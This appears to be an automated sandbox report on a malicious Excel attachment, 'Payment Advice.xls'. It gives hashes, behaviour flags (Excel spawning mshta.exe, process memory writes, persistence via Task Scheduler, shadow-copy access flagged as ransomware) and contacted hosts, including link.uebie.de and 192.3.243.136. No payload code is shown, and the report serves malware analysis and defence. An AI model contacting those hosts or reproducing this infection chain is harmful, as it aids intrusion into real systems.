SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-18 17:10

Reported

2024-11-18 17:12

Platform

win10v2004-20241007-en

Max time kernel

144s

Max time network

140s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1284 wrote to memory of 4388 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 1284 wrote to memory of 4388 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 22.49.80.91.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 48.108.45.5.in-addr.arpa udp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.134.89:80 e6.o.lencr.org tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 89.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 136.243.3.192.in-addr.arpa udp
US 8.8.8.8:53 89.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 133.130.81.91.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

memory/1284-0-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

memory/1284-1-0x00007FFFB4A6D000-0x00007FFFB4A6E000-memory.dmp

memory/1284-3-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

memory/1284-2-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

memory/1284-5-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

memory/1284-8-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-7-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-6-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-11-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-12-0x00007FFF72480000-0x00007FFF72490000-memory.dmp

memory/1284-10-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-9-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-4-0x00007FFF74A50000-0x00007FFF74A60000-memory.dmp

memory/1284-13-0x00007FFF72480000-0x00007FFF72490000-memory.dmp

memory/1284-15-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-14-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-17-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-21-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-20-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-19-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-18-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-16-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-43-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-45-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-44-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-46-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-47-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-48-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-58-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/1284-59-0x00007FFFB4A6D000-0x00007FFFB4A6E000-memory.dmp

memory/1284-60-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-64-0x00007FFFB49D0000-0x00007FFFB4BC5000-memory.dmp

memory/4388-65-0x00007FF6C0680000-0x00007FF6C0688000-memory.dmp